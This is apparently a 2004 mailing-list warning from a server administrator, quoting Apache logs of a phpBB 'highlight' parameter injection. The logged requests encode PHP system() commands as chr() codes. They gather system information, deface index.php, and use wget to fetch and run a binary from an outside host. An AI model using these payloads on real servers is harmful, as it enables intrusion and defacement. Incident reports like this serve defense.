http://john.nichel.net
I don't know if this is a PHP problem or a phpBB problem as of yet, but I wanted to get the word out here so that y'all can take precautions if neccessary. I disabled the system() function on our box, and may need to take further action as I discover more.
Below is what I believe to be the 'offensive' access from the Apache logs on the domain where the attack started. If you see something that I'm missing, please let the list know.
201.9.192.212 - - [22/Dec/2004:11:30:43 -0500] GET /temp_forums/viewtopic.php?t=111&highlight=%2527%252esystem(chr(105)%252echr(100))%252e%2527 HTTP/1.1 200 101693 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:34:41 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(117)%252echr(110)%252echr(97)%252echr(109)%252echr(101)%252echr(32)%252echr(45)%252echr(97)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 91134 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:34:59 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(112)%252echr(114)%252echr(111)%252echr(99)%252echr(47)%252echr(99)%252echr(112)%252echr(117)%252echr(105)%252echr(110)%252echr(102)%252echr(111)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 110263 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:35:43 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)%252echr(108)%252echr(111)%252echr(99)%252echr(97)%252echr(108)%252echr(47)%252echr(97)%252echr(112)%252echr(97)%252echr(99)%252echr(104)%252echr(101)%252echr(47)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(47)%252echr(104)%252echr(116)%252echr(116)%252echr(112)%252echr(100)%252echr(46)%252echr(99)%252echr(111)%252echr(110)%252echr(102)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 80061 -Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:35:50 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)%252echr(108)%252echr(111)%252echr(99)%252echr(97)%252echr(108)%252echr(47)%252echr(97)%252echr(112)%252echr(97)%252echr(99)%252echr(104)%252echr(101)%252echr(47)%252echr(59)%252echr(108)%252echr(115)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 103205 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:36:06 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(104)%252echr(104)%252echr(32)%252echr(62)%252echr(32)%252echr(104)%252echr(97)%252echr(99)%252echr(46)%252echr(104)%252echr(114)%252echr(109)%252echr(108)%252echr(59)%252echr(108)%252echr(115)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 103578 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:36:34 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(72)%252echr(52)%252echr(99)%252echr(107)%252echr(51)%252echr(114)%252echr(83)%252echr(66)%252echr(82)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(32)%252echr(121)%252echr(111)%252echr(117)%252echr(114)%252echr(32)%252echr(98)%252echr(121)%252echr(32)%252echr(120)%252echr(100)%252echr(114)%252echr(48)%252echr(112)%252echr(52)%252echr(53)%252echr(53)%252echr(32)%252echr(62)%252echr(32)%252echr(105)%252echr(110)%252echr(100)%252echr(101)%252echr(120)%252echr(46)%252echr(112)%252echr(104)%252echr(112)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%2
52echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 80966 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:36:36 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(112)%252echr(119)%252echr(100)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 80793 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:36:41 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(112)%252echr(119)%252echr(100)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 80793 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:37:03 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(112)%252echr(119)%252echr(100)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 80793 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:37:25 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(109)%252echr(118)%252echr(32)%252echr(45)%252echr(102)%252echr(32)%252echr(105)%252echr(110)%252echr(100)%252echr(101)%252echr(120)%252echr(46)%252echr(112)%252echr(104)%252echr(112)%252echr(32)%252echr(47)%252echr(119)%252echr(101)%252echr(98)%252echr(115)%252echr(101)%252echr(114)%252echr(118)%252echr(101)%252echr(114)%252echr(47)%252echr(118)%252echr(104)%252echr(111)%252echr(115)%252echr(116)%252echr(115)%252echr(47)%252echr(98)%252echr(121)%252echr(45)%252echr(116)%252echr(111)%252echr(114)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(100)%252echr(111)%252echr(99)%252echr(115)%252echr(47)%252echr(105)%252echr(110)%252echr(100)%252echr(101)%252echr(120)%252echr(46)%252
echr(112)%252echr(104)%252echr(112)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 81926 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:41:53 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(104)%252echr(116)%252echr(116)%252echr(112)%252echr(58)%252echr(47)%252echr(47)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(105)%252echr(110)%252echr(116)%252echr(114)%252echr(97)%252echr(110)%252echr(111)%252echr(114)%252echr(116)%252echr(104)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(46)%252echr(98)%252echr(114)%252echr(47)%252echr(120)%252echr(112)%252echr(108)%252echr(47)%252echr(114)%252echr(48)%252echr(110)%252echr(105)%252echr(110)%252echr(59)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252ec
hr(100)%252echr(32)%252echr(55)%252echr(55)%252echr(55)%252echr(32)%252echr(114)%252echr(48)%252echr(110)%252echr(105)%252echr(110)%252echr(59)%252echr(46)%252echr(47)%252echr(114)%252echr(48)%252echr(110)%252echr(105)%252echr(110)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 83277 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:11:44:29 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(112)%252echr(119)%252echr(100)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527 HTTP/1.1 200 80793 - Mozilla/3.0 (compatible; Indy Library)
201.9.192.212 - - [22/Dec/2004:12:09:49 -0500] GET /temp_forums//viewtopic.php?t=111&highlight=%2527%252e HTTP/1.1 200 101230 - Mozilla/3.0 (compatible; Indy Library)
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